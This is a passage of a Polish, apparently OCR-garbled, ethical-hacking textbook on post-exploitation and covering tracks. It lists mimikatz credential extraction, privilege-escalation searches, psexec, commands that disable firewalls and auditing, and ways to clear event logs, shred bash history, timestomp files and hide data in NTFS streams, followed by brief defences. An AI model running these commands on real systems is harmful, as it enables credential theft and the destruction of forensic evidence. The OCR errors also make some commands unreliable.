zaatakowanym systemie. Skroty haset s3 ponownie wykorzystywane przez atakujacych (do czasu
zmiany hasta przez uzytkownika) w celu uzyskania dostepu do innych zasobdw sieciowych. Poniewaz
jest to proces poeksploatacyjny, osoby atakujgce muszg juz uzyskaé prawidtowe skréty NTLM lub
klucze AES docelowego uzytkownika, aby zazadaé TGT Kerberos dla tego konkretnego konta.
Ostatecznie osoby atakujgce uzyskujg dostep do réznych urzadzen lub ustug, ktére sg dozwolone za
posrednictwem konta i mogg odpowiednio nimi manipulowad.

Atakujacy uzywajg narzedzi takich jak mimikatz do przeprowadzania atakéw OPtH.
mimikatz

Narzedzie mimikatz umozliwia atakujgcym uzyskanie i przechowywanie réznych poswiadczen
uwierzytelniajgcych, takich jak bilety Kerberos. Pomaga atakujgcym w kradziezy poswiadczen i
przeprowadzaniu eskalacji uprawnien. Atakujgcy uzywaja réwniez mimikatz do przeprowadzania
atakéw OPtH. Ponizej podano polecenia uzyte do przeprowadzenia ataku i uzyskania kluczy AES128,
NTLM (RC4) i AES256 dla biletu Kerberos, ktorego mozna dalej uzy¢é w celu uzyskania dostepu do
réznych autoryzowanych zasobdw.

privilege::debug
sekurlsa::ekeys
Post-eksploatacja Linuksa

Po ztamaniu i uzyskaniu dostepu do powtoki systemu docelowego osoby atakujgce prdébuja
przeprowadzi¢ dalsze wykorzystanie, aby uzyska¢ petny dostep do innych zasobdw i osiggnac
dtugoterminowa trwatos¢. Ponizej wymieniono niektére polecenia post-eksploatacyjne oparte na
systemie Linux.

Polecenia systemu plikow

Opis polecenia

find / -perm -3000 -Is 2> /dev/null : Wykrywa pliki wykonywalne SUID
find / -path /sys -prune -o -path

/proc -prune -o -type f -perm -o=w

Is 2> /dev/null : Odkrywa pliki, ktdre mozna zapisywac na catym Swiecie



chmod o-w file : Wytacza prawo do zapisu w pliku

find / -path /sys -prune -o -path

/proc -prune -o -type d -perm -o=w

Is 2> /dev/null : Odkrywa katalogi z mozliwoscig zapisu na catym $wiecie
find / -name "*.txt" -Is 2> /dev/null : Wykrywa pliki .txt w systemie
sudo -1 : wyswietla liste dozwolonych i zabronionych komend

openssl s_client —connect <hostname>:<port> -showcerts:  WysSwietla szczegdty wszystkich
certyfikatow.

keytool -list -v —keystore

keystore.jks : Wyswietla zawartos¢ plikéw magazynu kluczy i pseudonimy

Komendy zbierania informacji

Opis polecenia

ps -ef Wyswietla biezgcy proces wraz z jego identyfikatorem procesu (PID)

mount Dotgcza system plikdw do struktury drzewa katalogéw

route -n Wyswietla nazwy hostéw/sieci w postaci numerycznej

/sbin/ifconfig -a Wyswietla szczegdty konfiguracji sieci

cat /etc/crontab Wyswietla uruchomione zadania cron

Czy -la /etc/cron.d Wyswietla pakiet oprogramowania uzywany dla okreslonego zadania cron
cat /etc/exports Wyswietla katalogi, ktdre mozna wyeksportowac do klientéw NFS
cat /etc/redhat*

/etc/debian*

/etc/*wydanie : Wyswietla szczegdty wersji systemu operacyjnego

Is /etc/rc* :Wyswietla liste ustug rozruchowych

egrep -e

'/bin/(ba)?sh

/etc/passwd :Wyswietla wszystkich uzytkownikdéw, ktérzy majg dostep do powtoki

cat ~/.ssh/ Wyswietla relacje SSH i dane logowania

Post-eksploatacja systemu Windows

Gdy osoby atakujgce ztamig system i uzyskajg do niego dostep, mogg wykonywac rézne niepozgdane
dziatania bez wiedzy uzytkownika. Gtdwnym celem przeprowadzania post-eksploatacji jest uzyskanie



kontroli nad kazda czescig systemu i utrzymanie trwatosci w czasie. Ponizej wymieniono niektoére
polecenia post-eksploatacyjne oparte na systemie Windows.

Polecenia systemu plikéw

Polecenie : Opis

dir /a:h Pobiera nazwy katalogéw z ukrytymi atrybutami
findstr /E n.txt" > txt.txt Pobiera wszystkie pliki tekstowe
findstr /E ".log" > log.txt Pobiera wszystkie pliki dziennika
findstr /E ".doc" > doc.txt Pobiera wszystkie pliki dokumentéw
Polecenia obliczania skrétu

Polecenie : Opis

Get-FileHash <nazwa-pliku> -a md5 Generuje skroty MD5
Get-FileHash <nazwa-pliku> -a shal Generuje skréty SHA-1

Get-FileHash <nazwa-pliku> DomysInie pobiera skroty SHA-256

Polecenia rejestru
Polecenie : Opis

reg query HKLM /f credential /t REG_SZ /s > hklm_password.txt : Wykrywa gatezie rejestru dla
zapytania rejestru o wartos¢ ,credential”.

reg query
HKLM\SOFTWARE\Policies\Micr

osoft\Windows\Installer /v

AlwayslinstallElevated >

reg_always.txt : Zawsze instaluj z podwyzszonym poziomem
reg query

HKEY_LOCAL_MACHINE\Software
\Microsoft\Windows\CurrentV

ersion\Uninstall »

ListofinstalledPrograms.txt : Zawiera liste wszystkich programéw wysytajgcych zapytania do rejestru

Polecenia harmonogramu
Polecenie : Opis

schtasks /query /fo LISTA /v



> schtasks.txt : Pobiera liste zaplanowanych zadan
tasklist/SVC >

tasklist.txt : Pobiera wszystkie aktualnie aktywne procesy

Polecenia WMIC

Polecenie : Opis

wmic os where

Primary="TRUE’ reboo : Ponowne uruchomienie Windows

wmic service get

name,displayname,pathname,s

tartmode > wmic service.txt : Pobiera nazwe ustugi, $ciezke pliku wykonywalnego, itp.
wmic /node:'1" product get

name,version,vendor : Wyswietla szczegdty zainstalowanego oprogramowania
wmic cpu get : Pobiera szczegdty procesora

wmic useraccount get

name,sid : Pobiera nazwy logowania i ich identyfikatory SID

Polecenia sieciowe

Polecenie : Opis

net config rdr : Pokazuje szczegdty potaczenia z domeng

net computer Wcomputername

/add : Dodaje komputer do domeny

net view : Wyswietla liste komputeréw i urzadzen sieciowych w domenie
net view \\host : Wyswietla nazwe komputera hosta

net share : Pomaga zarzgdza¢ wspétdzielonymi zasobami z odpowiednimi parametrami

Polecenia sieciowe

Polecenie : Opis

route print or netstat —-r command : Wyswietla tablice routingu dla miejsca docelowego
arp -a : Pokazuje tablice ARP dla okreslonego adresu IP

ipconfig /all : Wyswietla szczegdty konfiguracji IP



getmac : Pobiera adres fizyczny

Polecenia serwisowe

Polecenie : Opis

sc queryex type=service

state=all : Wyswietla liste wszystkich dostepnych ustug

sc queryex type=service

state=all | find /i "Name of

the service: myService" : Wyswietla szczegétowe informacje o okreslonej ustudze
net start lub stop : Uruchamia/zatrzymuje ustuge sieciowg

netsh firewall show state : Wyswietla biezgcy stan zapory

netsh firewall show config : Wyswietla ustawienia zapory

netsh advfirewall set

currentprofile state off : Wytgcza ustuge zapory dla biezgcego profilu
netsh advfirewall set

allprofiles state off : Wytgcza ustuge zapory dla wszystkich profili

Polecenia zdalnego wykonywania

Polecenie : Opis

wmic /node:CEP address>

/user:administrator

/password:SPASSWORD bios get

serialnumber : Pobiera numer seryjny komputera

taskkill.exe /S <IP address> /U

domain\username /F /Fl "eset" : Koniczy ustugi powigzane z eset
tasklist.exe /S <IP address> /U

domain\username : Definiuje kontekst uzytkownika do wykonywania polecen
tasklist.exe /S <IP address> /U

domain\username /FI "USERNAME eq

NT AUTHORITY\SYSTEM" /FI "STATUS



eq running" : Pobiera wszystkie procesy uruchomione w systemie ktére w rzeczywistosci nie s3
,SYSTEMEM”

Polecenia Sysinternals

Polecenie : Opis

psexec -i \\<RemoteSystem>

cmd : Ustanawia interaktywng CMD ze zdalnym systemem

psexec -i \\<RemoteSystem> -c

file.exe : Kopiuje plik.txt z komputera lokalnego na zdalny komputer
psexec -i -d -s

c:\windows\regedit.exe : Pobiera zawartos¢ kluczy bezpieczenstwa i SAM
psexec -i \\<Remote System>

ipconfig /all : Wyswietla informacje sieciowe systemu zdalnego

Uwierzytelniony WMI Exec przez PowerShell

Polecenie : Opis

msf > use exploit/windows/local/ps wmi exec : Uruchamia odpowiedniego lokalnego exploita
msf exploit(windows/local/ps_wmi_exec) >

show targets : Pokazuje liste celéw

msf exploit(windows/local/ps_wmi_exec) >

show options : Wyswietla wszystkie dostepne opcje

msf exploit(windows/local/ps_wmi_exec) >

show payloads : Wyswietla mozliwe tadunki

msf exploit(windows/local/ps_wmi_exec) >

show evasion : Wyswietla odpowiednie opcje uchylania sie
Jak bronic¢ sie przed atakami persystencji

Ponizej omdéwiono niektére Srodki zaradcze w celu obrony przed atakami polegajgcymi na dominacji
domeny:

*Czesto zmieniaj hasto KRBTGT.

* Uzywaj poswiadczenn administratora tylko wtedy, gdy dane muszg by¢ udostepniane miedzy
urzadzeniami.

* Daj uprawnienia dostepu na podstawie rél uzytkownikéw.



* Okresowo przeprowadzaj zarzadzanie poprawkami systemowymi.

* Wdréz model dostepu z minimalnymi uprawnieniami, ktéry pomaga w ograniczaniu dostepu
uzytkownikéw i dostepu do konta administratora domeny.

* Monitoruj TGT protokotu Kerberos i dziatania zwigzane z replikacjg domen.
* Regularnie zmieniaj hasto KRBTGT i dwukrotnie resetuj ustuge.
* Zweryfikuj protokdét Kerberos na zewnatrz, aby upewnic sie, ze TGT nie sg sfatszowane.

* Przeprowadzaj kampanie/szkolenia dotyczace bezpieczeristwa w zakresie atakdéw typu phishing,
zasad tworzenia haset i innych metod.

* Sciéle przestrzegaj zasad dotyczacych haset (pod wzgledem diugoéci hasta, okresowych aktualizacji
itp.), aby zwiekszy¢ bezpieczenstwo indywidualnego dostepu do konta.

* Upewnij sie, ze protokdt Kerberos jest zgodny z podpisaniem certyfikatu atrybutu uprawnien (PAC) i
TGS z kluczem , krbtgt” przez centrum dystrybucji kluczy (KDC).

* Wdréz narzedzie do sprawdzania poprawnosci Kerberos w celu weryfikacji zasadnosci
poszczegdlnych biletéw dostarczonych przez wazny KDC.

* Zainstaluj poprawke KB2871997 w systemach z systemem Windows 7 i nowszym w celu ograniczenia
domysinego dostepu do konta w ramach lokalnej grupy administratorow.

*QOgranicz nakfadanie sie poswiadczen w systemach, aby ograniczy¢ ruch boczny poprzez
uprzywilejowane zarzgdzanie kontami.

* Natdz ograniczenia UAC na konta lokalne poprzez logowanie do sieci, wiaczajac zabezpieczenia
haszujace. Klucz rejestru do zastosowania ograniczen UAC to
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPoli

cy

* Ogranicz uzytkownikow domeny do lokalnej grupy administratorow w wielu systemach.
* Ogranicz ruch przychodzacy przez Zapore systemu Windows.

Czyszczenie dziennikéw

W poprzedniej sekcji widzielismy, jak osoba atakujgca moze ukryé ztosliwe pliki na komputerze
docelowym przy uzyciu réznych technik steganograficznych, strumieni NTFS i innych technik w celu
utrzymania przysztego dostepu do celu. Gdy atakujgcemu uda sie wykona¢ te szkodliwg operacije,
nastepnym krokiem jest usuniecie wszelkich powstatych sladéw/Sciezek w systemie.

Zakrywanie sladéw

Zacieranie $laddw to jeden z gtdwnych etapdéw hakowania systemu. Na tym etapie atakujgcy prébuje
ukryé sie i unikng¢ wykrycia lub ,wysledzenia”, zakrywajgc wszystkie ,slady” lub dzienniki
wygenerowane podczas uzyskiwania dostepu do docelowej sieci lub komputera. Przyjrzymy sie teraz,
w jaki sposdb atakujgcy usuwa slady ataku na docelowy komputer. Usuwanie dowoddéw jest
koniecznoscia dla kazdego atakujgcego, ktdry chce pozostaé niejasny. Jest to metoda stosowana w celu
unikniecia $ledzenia wstecznego. Zaczyna sie od usuniecia zanieczyszczonych dziennikéw i
ewentualnych komunikatéw o btedach generowanych w procesie ataku. Atakujgcy dokonuje zmian w
konfiguracji systemu w taki sposdb, ze nie rejestruje przysztych dziatarn. Manipulujgc dziennikami
zdarzen i modyfikujgc je, osoba atakujgca oszukuje administratora systemu, aby uwierzyt, ze w



systemie nie ma ztosliwej aktywnosci i ze nie doszto do wtamania ani naruszenia bezpieczenstwa.
Poniewaz pierwszg rzecza, jaka robi administrator systemu podczas monitorowania nietypowej
aktywnosci, jest sprawdzenie plikdw dziennika systemowego, intruzi czesto uzywajg narzedzia do
modyfikowania tych dziennikdw. W niektdrych przypadkach rootkity mogg wytaczyé i odrzucic¢
wszystkie istniejgce dzienniki. Atakujacy usuwajg tylko te czesci dziennikdw, ktére moga ujawnié ich
obecnos¢, jesli zamierzajg uzywac systemu przez dtugi czas jako bazy startowej dla przysztych naduzy¢.
Atakujgcy musza sprawi¢, by system wygladat tak, jak przed uzyskaniem dostepu i utworzeniem
backdoora. To pozwala im zmieni¢ dowolne atrybuty pliku z powrotem do ich pierwotnego stanu.
Wymienione informacje, takie jak rozmiar pliku i data, to tylko informacje o atrybutach zawarte w
pliku. Ochrona przed atakujgcymi prébujgcymi zatrzeé slady poprzez zmiane informacji o pliku moze
by¢ trudna. Mozna jednak wykry¢, czy osoba atakujgca to zrobita, obliczajgc kryptograficzny skrot pliku.
Ten typ skrotu to obliczenie catego pliku przed zaszyfrowaniem. Atakujgcy mogg nie chcieé usungc
catego dziennika, aby zatrze¢ $lady, poniewaz moze to wymagac uprawnienn administratora. Jesli
atakujgcy moga usunac tylko dzienniki zdarzen ataku, nadal bedg mogli unikng¢ wykrycia. Atakujgcy
moze manipulowac plikami dziennika za pomoca

e SECEVENT.EVT (bezpieczenstwo): nieudane logowanie, dostep do plikow bez uprawnien
e SYSEVENT.EVT (system): awaria sterownika, elementy nie dziatajg poprawnie

* APPEVENT.EVT (aplikacje)

Techniki stosowane do zakrywania toréow

Gtéwne dziatania, ktére wykonuje atakujgcy w celu usuniecia swoich sladéw na komputerze, sg
nastepujace:

* Wytaczanie audytu: osoba atakujgca wytacza funkcje audytu systemu docelowego.

e C(Czyszczenie dziennikdw: osoba atakujgca czySci/usuwa wpisy dziennika systemowego
odpowiadajgce jego dziataniom.

e Manipulowanie dziennikami: atakujgcy manipuluje dziennikami w taki sposdb, aby nie zostac
ztapanym na drodze prawnej.

e Zakrywanie Sciezek w sieci: osoba atakujgca wykorzystuje techniki, takie jak odwrotne powtoki HTTP,
odwrotne tunele ICMP, tunelowanie DNS i parametry TCP w celu zakrycia Sciezek w sieci.

e Ukrywanie sladéw w systemie operacyjnym: osoba atakujgca uzywa strumieni NTFS do ukrywania i
ukrywania ztosliwych plikdw w systemie docelowym.

e Usuwanie plikéw: osoba atakujgca uzywa narzedzia wiersza polecenia, takiego jak Cipher.exe, w celu
usuniecia danych i uniemozliwienia ich odzyskania w przysztosci.

* Wytaczanie funkcji systemu Windows: osoba atakujgca wytgcza funkcje systemu Windows, takie jak
znacznik czasu ostatniego dostepu, hibernacja, pamie¢ wirtualna, punkty przywracania systemu itp.,
aby zatrzed slady.

eUkrywanie artefaktow: Atakujacy ukrywaja swoje ztosliwe artefakty w artefaktach systemu
operacyjnego, aby ich unikngé wykrycia.

Tak wiec petne zadanie atakujgcego obejmuje nie tylko pomysine wtamanie sie do systemu, ale takze
wytgczenie rejestrowania, czyszczenie plikdéw dziennika, eliminowanie dowoddw, podktadanie
dodatkowych narzedzi i zacieranie $laddéw.



Whytaczanie audytu: Auditpol

Jednym z pierwszych krokéw atakujgcego, ktéry ma mozliwosé wiersza polecen, jest okreslenie stanu
audytu systemu docelowego, zlokalizowanie poufnych plikéw (takich jak pliki haset) i wszczepienie
narzedzi do automatycznego zbierania informacji (takich jak rejestrator nacisnieé¢ klawiszy lub
wachacz). System Windows rejestruje okreslone zdarzenia w dzienniku zdarzen (lub powigzanym
dzienniku syslog). Dziennik mozna ustawi¢ tak, aby wysytat powiadomienia (e-mail, SMS itp.) do
administratora systemu. Dlatego atakujacy bedzie chciat poznac status kontroli systemu, ktéry prébuje
skompromitowaé, zanim przystgpi do realizacji swoich planéw. Auditpol.exe to narzedzie wiersza
polecenia do zmiany ustawien zabezpieczen audytu na poziomie kategorii i podkategorii. Atakujacy
moga uzywac AuditPol do wtgczania lub wytgczania audytu bezpieczenstwa w systemach lokalnych lub
zdalnych oraz do dostosowywania kryteriow audytu dla réznych kategorii zdarzen zwigzanych z
bezpieczenstwem. Moment uzyskania przez intruzéw uprawnien administracyjnych; wytaczajg audyt
za pomocg auditpol.exe. Po zakonczeniu misji ponownie wiaczajg audyt przy uzyciu tego samego
narzedzia. Po uzyskaniu dostepu i ustanowieniu dostepu do powtoki w systemie docelowym osoby
atakujagce uzywajg nastepujgcych polecen do wigczania/wytgczania dziennikéw audytu systemu:

Wi3aczanie audytu systemu:

C:\>auditpol /set /category:"system","account logon" /success:enable /failure:enable

Wytaczanie audytu systemu:

C:\>auditpol /set /category:"system","account logon" /success:disable/failure:disable

Spowoduje to wprowadzenie zmian w rdznych dziennikach, ktére moga rejestrowac dziatania
atakujacego. On / ona moze zdecydowac sie na ukrycie kluczy rejestru zmienionych pdzniej. Atakujgcy
moga uzy¢ AuditPol do przegladania zdefiniowanych ustawien inspekcji na komputerze docelowym,
uruchamiajgc nastepujace polecenie w wierszu polecenia:

auditpol /get /category:*

Zrzuty ekranu z wyjscia Auditpol sg nastepujgce:

B Admimistraton Command Prompe - o x
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Czyszczenie dziennikéw

Clear_Event_Viewer_Logs.bat to narzedzie, ktérego mozna uzy¢ do wyczyszczenia dziennikdw systemu
docelowego. To narzedzie mozna uruchomic¢ za pomocg wiersza polecenia, programu PowerShell i uzy¢
pliku BAT do usuniecia dziennikdw zabezpieczen, systemu i aplikacji. Atakujagcy moga uzy¢ tego
narzedzia do wyczyszczenia dziennikow jako jednej z metod zacierania sladow w systemie docelowym.

Kroki, aby wyczysci¢ dzienniki za pomoca narzedzia Clear_Event_Viewer_Logs.bat, sg nastepujace.
1. Pobierz narzedzie Clear_Event_Viewer_Logs.bat ze strony https://www.tenforums,com.
2. Odblokuj plik .bat.

3. Kliknij prawym przyciskiem myszy lub nacisnij i przytrzymaj plik .bat i kliknij/stuknij opcje Uruchom
jako administrator.

4. Jesli pojawi sie monit UAC, kliknij/stuknij Tak.

5. Otworzy sie teraz wiersz polecenia, aby wyczysci¢ dzienniki zdarzen. Wiersz polecenia zostanie
automatycznie zamkniety po zakonczeniu.

Kroki, aby wyczysci¢ dzienniki przy uzyciu powtoki Meterpretera, s3 nastepujace.

Jesli system jest wykorzystywany przez Metasploit, atakujgcy uzywa powtoki Meterpretera, aby usung¢
wszystkie logi z systemu Windows:

1. Uruchom znak zachety meterpretershell z Metasploit Framework.

2. Wpisz polecenie clearev w wierszu polecenia powtoki Meterpretera i nacisnij klawisz Enter. Dzienniki
systemu docelowego zaczng by¢ usuwane.

Kroki, aby wyczysci¢ dzienniki programu PowerShell za pomocg polecenia Clear-EventlLog, s3
nastepujace.

Za pomocg polecenia Clear-EventLog osoba atakujgca moze wyczysci¢ cate zdarzenie programu
PowerShell ,logi z komputerdw lokalnych lub zdalnych:

1. Uruchom Windows PowerShell z uprawnieniami administratora.

2. Uzyj nastepujgcego polecenia, aby wyczysci¢ wpisy z dziennika zdarzen programu PowerShell w
systemie lokalnym lub zdalnym:



> Wyczysc¢ dziennik zdarzen ,Windows PowerShell”

3. Uzyj nastepujgcego polecenia, aby wyczysci¢ okreslone typy dziennikéw z systemdw lokalnych lub
zdalnych:

>Clear-EventLog -LogName ODiag, OSession -ComputerName localhost, Server02

(To polecenie czysci wszystkie wpisy dziennika w programie Microsoft Office Diagnostics (ODiag) i
Microsoft Office Sessions (OSession) na komputerze lokalnym i komputerze zdalnym Server02.)

4. Uzyj nastepujgcego polecenia, aby wyczysci¢ wszystkie dzienniki w okreslonych systemach, a
nastepnie wyswietl liste dziennikdw zdarzen:

>Clear-EventLog -LogName aplikacja, system — potwierdz

Uwaga: Parametry uzywane w poleceniu ciear-EventLog sg nastepujgce:

o -ComputerName: Okresla komputer zdalny; wartoscig domysing jest komputer lokalny
o -Confirm: Prosi o potwierdzenie przed uruchomieniem polecenia cmdlet

o -LogName: Okresla dzienniki zdarzen

o -whatif: pokazuje, co sie stanie, jesli polecenie cmdlet zostanie uruchomione

Kroki, aby wyczysci¢ dzienniki zdarzen za pomocg narzedzia wevtutil, sg nastepujace.
1. Uruchom wiersz polecenia z uprawnieniami administratora.

2. Uzyj nastepujacego polecenia, aby wyswietli¢ liste dziennikéw zdarzen:

>wevtutil el

3. Uzyj nastepujgcego polecenia, aby wyczysci¢ dzienniki zdarzen:

>wevtutil cl <nazwa_dziennika>

log_name: nazwa dziennika do wyczyszczenia, np.: system, aplikacja, zabezpieczenia.

Jak pokazano na zrzucie ekranu, osoba atakujgca moze wyswietli¢ liste dziennikéw zdarzen za pomoca
narzedzia wevtutil i wyczyscié dzienniki zdarzen systemu, aplikacji i zabezpieczen.



BN Select Adrmunsstrator: Command Prompt

Reczne czyszczenie dziennikéw zdarzen

Gdy atakujacy uzyskajg dostep administracyjny do systemu docelowego, mogg recznie usungc wpisy
dziennika odpowiadajace ich dziataniom na komputerach z systemem Windows i Linux. Kroki, aby
wyczyscic¢ dzienniki zdarzen w systemach operacyjnych Windows i Linux, sg nastepujace:

Dla Windowsa

* Przejdz do Start -> Panel sterowania -> System i zabezpieczenia -> Narzedzia systemu Windows ->
kliknij dwukrotnie Podglad zdarzen

* Usun wszystkie wpisy dziennika zarejestrowane podczas narazania systemu
Dla Linuksa
* Przejdz do katalogu /var/log w systemie Linux

*Otworz  plik  tekstowy zawierajgcy komunikaty dziennika za pomocg edytora tekstu
/var/log/<nazwa_pliku.log>

* Usun wszystkie wpisy dziennika zarejestrowane podczas ataku na system
Sposoby usuwania $ladéw online

Atakujgcy mogg wyczysci¢ Slady online utrzymywane za pomocg historii sieci, dziennikow, plikéw
cookie, pamieci podrecznej, pobran, czasu odwiedzin itp. Na komputerze docelowym, aby ofiary nie
mogty zauwazy¢, jakie dziatania online wykonaty osoby atakujace.

Co mogag zrobié napastnicy, aby usungé swoje slady online?

* Korzystaj z przegladania prywatnego



* Usun historie w polu adresu

* Wytacz zapisang historie

* Usun prywatne dane

* Wyczys$¢ pliki cookie przy wyjsciu

* Wyczy$¢ dane w menedzerze haset

* Usun zapisane sesje

* Usun JavaScript uzytkownika

* Skonfiguruj wielu uzytkownikow

*Usun ostatnio uzywane (MRU)

* Wyczy$¢ dane paska narzedzi z przegladarek
*Wytacz autouzupetnianie

* Wyczys¢ pamiec podreczng przy wyjsciu
* Usun pobrane pliki

* Wytacz menedzera haset

Aby wyczyscic¢ Slady réznych dziatan online, osoby atakujgce powinny podazac réznymi Sciezkami |,
rézne systemy operacyjne.

Kroki, aby usung¢ slady online z Ustawien prywatnosci lub z rejestru systemu Windows (Windows 11)
sg hastepujace:

Z poziomu ustawien prywatnosci w systemie Windows 11
o Kliknij prawym przyciskiem myszy przycisk Start, wybierz Ustawienia i kliknij Personalizacja

o W Personalizacja kliknij Start w lewym okienku i wytgcz zaréwno "Pokaz najczesciej uzywane
aplikacje" jak i "Pokaz ostatnio otwierane elementy w menu Start, listach szybkiego dostepu i
Eksploratorze plikéw"

Z rejestru w systemie Windows 11

o Otwoérz Edytor rejestru i przejdz do
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
a nastepnie usun klucz dla ,,RecentDocs”

o Usun wszystkie wartosci z wyjatkiem ,,(Domysine)”

Zakrywanie sladéw powtoki BASH

Bourne Again Shell lub Bash to powtoka kompatybilna z sh, ktéra przechowuje historie polecen w pliku
zwanym historig basha. Mozesz wyswietli¢ zapisang historie polecern za pomocg polecenia more
~/.bash_history.



Ta cecha Bash stanowi problem dla hakeréw, poniewaz sledczy mogg uzy¢ pliku bash_history do
Sledzenia pochodzenia ataku i doktadnych polecen uzytych przez intruza do skompromitowania
systemu.

Atakujacy uzywaja nastepujgcych polecen, aby wyczyscié zapisane $ciezki historii polecen:
Wytaczanie historii
export HISTSIZE=0

To polecenie wytgcza powtoke Bash z zapisywania historii. HISTSIZE okresla liczbe polecen do zapisania,
ktéra jest ustawiona na 0. Po wykonaniu tego polecenia atakujgcy tracg uprawnienia do przegladania
wczesniej uzytych polecen.

Czyszczenie historii
o history -ok

To polecenie jest przydatne do czyszczenia zapisanej historii. Jest to skuteczna alternatywa dla
wytgczania polecenia historii, poniewaz w tym poleceniu osoba atakujgca moze wygodnie przepisaé
lub przejrzeé wczesniej uzyte polecenia.

O history -w

To polecenie usuwa tylko historie biezgcej powtoki, podczas gdy historia polecen innych powtok
pozostaje nienaruszona.

e Wyczyszczenie catej historii uzytkownika

cat /dev/null > ~.bash_history && history -c && exit

To polecenie usuwa catg historie polecen biezacej i wszystkich innych powtok i wychodzi z powtoki.
Niszczenie historii

o shred ~/.bash_history

To polecenie niszczy plik historii i sprawia, ze jego zawartos¢ jest nieczytelna. Jest to przydatne, gdy
badacz zlokalizuje plik, ale dzieki temu poleceniu nie moze odczytaé zadnej zawartosci pliku historii.

o shred ~/.bash_history&& cat /dev/null > .bash_history &&history -c && exit

To polecenie najpierw niszczy plik historii, nastepnie usuwa plik, a na koncu usuwa wszystkie dowody
jego uzycia.

Zakrywanie utworéw w sieci
Korzystanie z odwrotnych powtok HTTP

Osoba atakujgca rozpoczyna ten atak, najpierw infekujac komputer ofiary ztosliwym kodem, a tym
samym instalujgc w systemie ofiary odwrotng powtoke HTTP. Ta odwrotna powtoka HTTP jest
zaprogramowana w taki sposéb, ze prosi o polecenia do zewnetrznego mastera, ktéry regularnie
kontroluje odwrotng powtoke HTTP. Ten rodzaj ruchu jest uwazany za normalny przez kontrole
bezpieczenstwa sieci organizacji, takie jak strefa DMZ, zapora ogniowa itp. Gdy atakujgcy wpisze co$ w
systemie gtéwnym, polecenie jest pobierane i wykonywane w systemie ofiary. Ofiara dziata tutaj jako
klient WWW, ktéry wykonuje plik



HTTP GET, podczas gdy atakujgcy zachowuje sie jak serwer WWW i odpowiada na zadania. Po
wykonaniu poprzednich polecen wyniki s3 wysytane w nastepnym zgdaniu internetowym. Wszyscy
pozostali uzytkownicy w sieci mogg normalnie taczyc sie z Internetem; dlatego ruch miedzy atakujgcym
a ofiarg jest postrzegany jako normalny.

Korzystanie z odwrotnych tuneli ICMP

Tunelowanie ICMP (Internet Control Message Protocol) to technika, w ktérej osoba atakujgca
wykorzystuje pakiety echa i odpowiedzi ICMP jako nosnikitadunku TCP, aby potajemnie uzyskac dostep
do systemu lub go kontrolowa¢. Tej metody mozna uzy¢ do tatwego obejscia regut zapory sieciowe;j,
poniewaz wiekszo$¢ organizacji ma mechanizmy bezpieczenstwa, ktére sprawdzajg tylko przychodzace
pakiety ICMP, a nie wychodzace. Atakujacy najpierw konfiguruje lokalnego klienta, aby potaczy¢ sie z
ofiarg. System ofiary jest uruchamiany w celu hermetyzacji tadunku TCP w pakiecie echa ICMP, ktéry
jest przekazywany do serwera proxy. Serwer proxy dokonuje dehermetyzacji i wyodrebnia fadunek
TCP, a nastepnie wysyta go do atakujgcego.

Korzystanie z tunelowania DNS

Atakujacy mogg uzywacé tunelowania DNS do kodowania ztosliwej zawartosci lub danych innych
programoéw w zapytaniach i odpowiedziach DNS. Tunelowanie DNS zwykle obejmuje tadunek danych,
ktory mozna dodaé¢ do serwera DNS ofiary w celu utworzenia kanatu zwrotnego umozliwiajgcego
dostep do zdalnego serwera i aplikacji. Atakujgcy mogg wykorzystaé ten kanat zwrotny do eksfiltracji
skradzionych, poufnych lub wrazliwych informacji z serwera. Atakujacy wykonujg tunelowanie DNS na
réznych etapach; najpierw narazajg system wewnetrzny, aby utworzy¢ potgczenie z siecig zewnetrzna.
Nastepnie uzywajg tego skompromitowanego systemu jako serwera dowodzenia i kontroli, aby
uzyskac zdalny dostep do systemu i potajemnie przesytaé pliki z sieci na zewnatrz.

Korzystanie z parametrow TCP

Parametry TCP mogg by¢ wykorzystane przez atakujgcego do dystrybucji tadunku i tworzenia ukrytych
kanatéw. Oto niektére pola TCP, w ktérych mozna ukry¢ dane:

Pole identyfikacji IP: Jest to tatwe podejscie, w ktérym tadunek jest przesytany bitowo w ramach
ustanowionej sesji miedzy dwoma systemami. W tym podejsciu jeden znak jest enkapsulowany na
pakiet.

Numer potwierdzenia TCP: To podejscie jest dos¢ trudne, poniewaz wykorzystuje serwer odbijajacy,
ktéry odbiera pakiety od ofiary i wysyta je do atakujacego. Tutaj jeden ukryty znak jest przekazywany
przez serwer odbijajacy na pakiet.

Poczatkowy numer sekwencyjny TCP: Ta metoda nie wymaga rowniez nawigzania potgczenia miedzy
dwoma systemami. Tutaj jeden ukryty znak jest enkapsulowany na zgdanie SYN i pakiet resetowania.

Zakrywanie utworow w systemie operacyjnym
Windows

NTFS ma funkcje o nazwie ADS, ktdra umozliwia atakujgcym ukrycie pliku za innymi normalnymi
plikami. Kroki ukrywania plikéw za pomocg NTFS s3 nastepujgce:

0 Otwoérz wiersz polecenia z podwyzszonym uprawnieniem

o Wopisz polecenie ,, wpisz C:\SecretFile.txt



>c:\LegitFiie.txt:SecretFile.txt” (tutaj plik jest przechowywany na dysku C, gdzie plik SecretFile.txt jest
ukryty w pliku LegitFile.txt)

o Aby wyswietli¢ ukryty plik, wpisz ,,wiecej < C:\SecretFiie.txt” (w tym celu musisz zna¢ nazwe ukrytego
pliku)

Modyfikowanie czasu

timestomp file_name.doc -z "<Date> <time>"

lub

powershell -Command "(Get-Item SFile_name).LastWriteTime = $(Get-Date).AddHours(-10)"

To polecenie jest przydatne do zmiany czasu dostepu do okreslonych plikéw. Za pomoca tego
polecenia osoba atakujgca moze przepisaé¢ date i godzine ostatniego dostepu, aby ukry¢ $lady i
wprowadzi¢ w btad sledztwo.

UNIX/LINUX

Pliki w systemie UNIX mozna ukryé¢, dodajgc kropke (.) przed nazwg pliku. W systemie UNIX kazdy
katalog jest podzielony na dwa katalogi: katalog biezacy (.) i katalog nadrzedny (..). Atakujgcy nadajg
im podobne nazwy, takie jak ,.” (ze spacjg po . ). Te ukryte pliki sg zwykle umieszczane w /dev, /tmp i
/etc. Osoba atakujgca moze réwniez edytowac pliki dziennika, aby zatrze¢ $lady. Czasami jednak za
pomocg tej techniki ukrywania plikéw atakujgcy moze pozostawic po sobie slad, poniewaz polecenie,
ktérego uzyt do otwarcia pliku, zostanie zapisane w pliku ,bash_history. Sprytny atakujacy wie, jak
